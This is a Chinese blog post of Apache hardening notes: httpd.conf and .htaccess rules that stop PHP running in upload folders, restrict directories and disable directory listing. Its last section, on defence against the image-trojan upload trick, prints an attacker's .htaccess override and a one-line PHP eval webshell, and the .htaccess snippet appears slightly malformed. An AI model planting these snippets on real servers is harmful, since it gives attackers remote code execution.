网站管理配置记录

一、关于apache的配置文件

apache的配置文件/etc/httpd/conf/httpd.conf或/etc/apache2/httpd.conf,就是httpd.conf文件。

1.配置httpd.conf取消对上传目录的php执行权限:

<Directory "/var/www/html/目录">     
    <FilesMatch ".(php|php5)$">     
        Deny from all     
    </FilesMatch> 
</Directory> 

2.配置httpd.conf限制禁止访问的文件夹,例如后台目录:

<Directory "/var/www/html/后台目录">     
        Deny from all     
</Directory> 

3.配置httpd.conf限制一些文件类型的访问,如txt的日志:

<Files ~ ".txt$"> 
    Order allow,deny 
    Deny from all 
</Files> 

4.关闭对.htaccess的支持:

AllowOverride All 改为 AllowOverride None 

5.禁止脚本执行,不管.htaccess文件如何设置:

<Directory "/www/htdocs">
    AllowOverride All
</Directory>

<Location "/">
    Options +IncludesNoExec -ExecCGI
</Location>

二、关于网站配置文件

当没有修改apache配置文件权限的时候,才需要使用.htaccess文件。

.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。

启用.htaccess,需要修改httpd.conf,启用AllowOverride,并可以用AllowOverride限制特定命令的使用。如果需要使用.htaccess以外的其他文件名,可以用AccessFileName指令来改变。

1.控制访问文件和目录的级别:

order deny,allow
deny from all
allow from 192.168.0.0/24(比如参考自己)

2.防止列出目录内容

Options -Indexes

3.定制目录的默认文档

DirectoryIndex index.html index.php index.htm

 

三、防止图片马

.htaccess文件中定义了将上传的文件后缀名为 .jpg 格式的文件以 php 格式来解析文件。.htaccess文件不在上传的文件的黑名单之内,就可以上传成功,所以要小心。

黑客上传.htaccess文件的内容为:

<IfModule>

AddType application/x-http-php .jpg 

</IfModule>

PS:上传的jpg 均以php执行,同样png,html,txt都是一样的

黑客把.htaccess 上传后,且上传成功后,再上传内容为一句话的jpg文件。

jpg文件中有内容:

<?php @eval($_GET["orange"]); ?>

 

 

随时跟新。。。。。。

 

posted @ 2022-03-07 10:20  An2i  阅读(22)  评论(0)    收藏  举报